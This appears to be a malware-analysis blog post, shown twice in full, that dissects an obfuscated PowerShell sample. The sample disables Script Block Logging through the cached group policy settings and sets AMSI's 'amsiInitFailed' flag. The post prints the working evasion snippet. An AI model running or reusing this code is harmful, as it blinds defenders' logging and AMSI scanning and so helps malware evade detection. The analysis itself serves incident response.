PowerShell has a great built-in feature called "Script Block Logging"[1]. It helps to record all activities performed by a script and is a goldmine for incident handlers. That's the reason why attackers tend to try to disable this feature. There are many ways to achieve this, but I found an interesting one.

The obfuscation technique uses a "Collections.Generic.Dictionary" object. This type of collection represents a collection of keys and values. Here is the interesting code (I kept only the code relevant to the collection:

 $wi=(('EnableSc{2}ip{1'+'}{3'+'}'+'lo'+'c'+'{0}Logging')-f'k','t','r','B'); $db9=[Collections.Generic.Dictionary[string,System.Object]]::new(); $iN=(('{0}crip{2}'+'B{'+'1}ockL'+'ogg'+'ing')-f'S','l','t'); If($PSVersionTable.PSVersion.Major -ge 3) { $zz=[Ref].Assembly.GetType((('S{5}stem.'+'{'+'3}anagem'+'ent'+'.{0'+'}{4}tomation.{2}ti{'+'1}'+'s')-f'A','l','U','M','u','y')); $zqu=[Ref].Assembly.GetType((('{5}{6}'+'st{9'+'}m.{2'+'}'+'a'+'na{3'+'}{'+'9}'+'m{9'+'}'+'nt.{'+'8}{0}t'+'{'+'7'+'}'+'ma'+'ti{'+'7}n'+'.{'+'8'+'}msi{1}ti{4}s')-f'u','U','M','g','l','S','y','o','A','e')); $rH=(('E'+'na{0}l'+'eSc{3}ipt{1'+'}loc'+'{4}{2}nvoc'+'ation{5}oggi'+'n'+'g')-f'b','B','I','r','k','L'); $xTv=$zz.GetField('cachedGroupPolicySettings','NonPublic,Static'); if ($zqu) { $zqu.GetField((('a{3'+'}{4}i'+'I{0'+'}'+'i'+'tF'+'ail{2'+'}{1'+'}') f'n','d','e','m','s'),'NonPublic,Static').SetValue($null,$true); }; If ($xTv) { $iG5H=$xTv.GetValue($null); $db9.Add($wi,0); $db9.Add($rH,0); $iG5H['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+$iN]=$db9; 

The collection of values is created in the $db9 variable. Later two keys are added, and the collection is used to modify the registry to disable the logging feature.

 [DBG]: PS C:\Users\REM>> $db9 Key Value --- ----- EnableScriptBlockLogging 0 EnableScriptBlockInvocationLogging 0

The remaining part of the script is classic and injects a shellcode in the Powershell process.

[1] https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

PowerShell has a great built-in feature called "Script Block Logging"[1]. It helps to record all activities performed by a script and is a goldmine for incident handlers. That's the reason why attackers tend to try to disable this feature. There are many ways to achieve this, but I found an interesting one.

The obfuscation technique uses a "Collections.Generic.Dictionary" object. This type of collection represents a collection of keys and values. Here is the interesting code (I kept only the code relevant to the collection:

 $wi=(('EnableSc{2}ip{1'+'}{3'+'}'+'lo'+'c'+'{0}Logging')-f'k','t','r','B'); $db9=[Collections.Generic.Dictionary[string,System.Object]]::new(); $iN=(('{0}crip{2}'+'B{'+'1}ockL'+'ogg'+'ing')-f'S','l','t'); If($PSVersionTable.PSVersion.Major -ge 3) { $zz=[Ref].Assembly.GetType((('S{5}stem.'+'{'+'3}anagem'+'ent'+'.{0'+'}{4}tomation.{2}ti{'+'1}'+'s')-f'A','l','U','M','u','y')); $zqu=[Ref].Assembly.GetType((('{5}{6}'+'st{9'+'}m.{2'+'}'+'a'+'na{3'+'}{'+'9}'+'m{9'+'}'+'nt.{'+'8}{0}t'+'{'+'7'+'}'+'ma'+'ti{'+'7}n'+'.{'+'8'+'}msi{1}ti{4}s')-f'u','U','M','g','l','S','y','o','A','e')); $rH=(('E'+'na{0}l'+'eSc{3}ipt{1'+'}loc'+'{4}{2}nvoc'+'ation{5}oggi'+'n'+'g')-f'b','B','I','r','k','L'); $xTv=$zz.GetField('cachedGroupPolicySettings','NonPublic,Static'); if ($zqu) { $zqu.GetField((('a{3'+'}{4}i'+'I{0'+'}'+'i'+'tF'+'ail{2'+'}{1'+'}') f'n','d','e','m','s'),'NonPublic,Static').SetValue($null,$true); }; If ($xTv) { $iG5H=$xTv.GetValue($null); $db9.Add($wi,0); $db9.Add($rH,0); $iG5H['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+$iN]=$db9; 

The collection of values is created in the $db9 variable. Later two keys are added, and the collection is used to modify the registry to disable the logging feature.

 [DBG]: PS C:\Users\REM>> $db9 Key Value --- ----- EnableScriptBlockLogging 0 EnableScriptBlockInvocationLogging 0

The remaining part of the script is classic and injects a shellcode in the Powershell process.

[1] https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key